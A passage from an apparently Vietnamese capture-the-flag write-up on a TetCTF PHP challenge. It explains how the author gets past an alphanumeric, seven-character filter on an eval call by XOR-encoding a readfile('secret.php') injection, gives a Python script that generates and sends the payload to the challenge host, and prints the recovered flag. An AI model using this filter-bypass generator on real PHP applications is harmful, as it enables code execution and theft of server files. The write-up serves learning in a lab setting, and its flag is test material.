cần được validate ở dòng 20. Để $voice
hợp lệ thì nó không được phép chứa các kí tự số và chữ cái (lowercase hay uppercase chặn tất), tạm gọi là alphanumeric filter, trong các kí tự còn lại được sử dụng thì chỉ được phép dùng 7 kí tự khác nhau để tạo ra $voice
.
+ Cuối cùng, độ dài của $res
được in ra trên màn hình không được dài quá 300 kí tự (dòng 24). Tuy nhiên nếu đã in ra được flag trong hàm eval
ở dòng 21, dù là in một mình nội dung biến $FL4ggggggggggg
hay toàn bộ nội dung file chứa flag là secret.php
thì cũng không thành vấn đề vì tổng toàn bộ file secret.php
chỉ mới có 94 kí tự, cộng với các kí tự rác xung quanh còn dư chán.
Giả sử dòng if ở dòng 20 biến mất thì tôi sẽ inject vào $voice
payload '.readfile('secret.php').'
một phát là ăn ngay. Nhưng mà filter thế này thì bố con thằng nào ăn được? Vẫn ăn được nhé!
Để vượt qua alphanumeric filter, tôi có idea là dùng PhpFuck. Đó là kĩ thuật sử dụng đúng 7 kí tự đặc biệt gồm ([+.^])
thông qua phép XOR (^
) để thực thi PHP. Vì chỉ dùng có 7 kí tự nên 1 câu lệnh được viết bằng PHPFuck có một độ dài đáng cmn sợ. Mặc dù nếu in ra được flag trong ở dòng 21 thì độ dài payload không thành vấn đề nhưng Phpfuck có 2 điểm yếu trong bài này:
+ Chỉ hoạt động ở PHP 7 trở xuống, trong khi challenge này dùng PHP 8.
+ Vi phạm điều kiện 7 kí tự khác nhau: các kí tự tạo nên PhpFuck gồm có ([+.^])
, trong khi các kí tự đặc biệt cần có trong payload của tôi là '.()
. Hợp 2 tập hợp kí tự này với nhau ta có một tập kí tự mới là ([+.^])'
gồm có 8 kí tự khác nhau.
Do đó ý tưởng ném payload '.readfile('secret.php').'
vào 1 cái tool convert PhpFuck cần được vứt vào sọt rác, thay vào đó tôi tự tạo một ngôn ngữ mới tạm gọi là AntoineFuck với những nguyên lí khá giống PhpFuck. AntoineFuck cũng sử dụng 7 kí tự khác nhau và cũng dựa trên phép XOR ^
. Đầu tiên là 5 kí tự mặc định phải có trong payload '.()^
. Tiếp theo phải chọn ra 2 trong số 3 kí tự +[]
, tuy nhiên tôi đã chọn mãi mà không có cặp 2 trong 3 kí tự nào ở đây ra được payload đúng, tất cả đều bị lỗi như sau:
\
và ;
dùng được. Tóm lại các kí tự mà AntoineFuck sử dụng gồm .()'^;\
.
import itertools
import string
import requests
import re
def gen_xor_payload(payload):
# create AntoineFuck alphabets, contained in xor_alphabet dictionary
avail = """.()'^;\\"""
xor_alphabet = {}
for i in range(1, 7):
for comb in itertools.combinations(avail, i):
xor_payload = 0
for c_payload in comb:
xor_payload = xor_payload ^ ord(c_payload)
if chr(xor_payload) in string.printable:
xor_alphabet[chr(xor_payload)] = comb
# create payload by finding the couple of characters respectively between characters in the raw payload and AntoineFuck alphabets.
xor_payload = ""
for c_payload in payload:
if c_payload in xor_alphabet:
c_payload_in_xor = "("
for c_xor_alphabet in xor_alphabet[c_payload]:
if c_payload_in_xor[-1] != "(":
c_payload_in_xor += "^"
if c_xor_alphabet == "'":
c_payload_in_xor += "'\\''"
elif c_xor_alphabet == "\\":
c_payload_in_xor += "'\\\\'"
else:
c_payload_in_xor += f"'{c_xor_alphabet}'"
c_payload_in_xor += ")"
if len(xor_payload) > 0:
xor_payload += "."
xor_payload += c_payload_in_xor
return xor_payload
if __name__ == '__main__':
payload = f"'.({gen_xor_payload('readfile')})({gen_xor_payload('secret.php')}).'"
response = requests.get('http://192.53.173.71:8080/?shout='+payload)
flag = response.text[re.search("\$FL4ggggggggggg =", response.text).start():]
print(flag)
TetCTF{__F33ls_G0od_M4nnnnnnnnnN_(^_^)/_}
.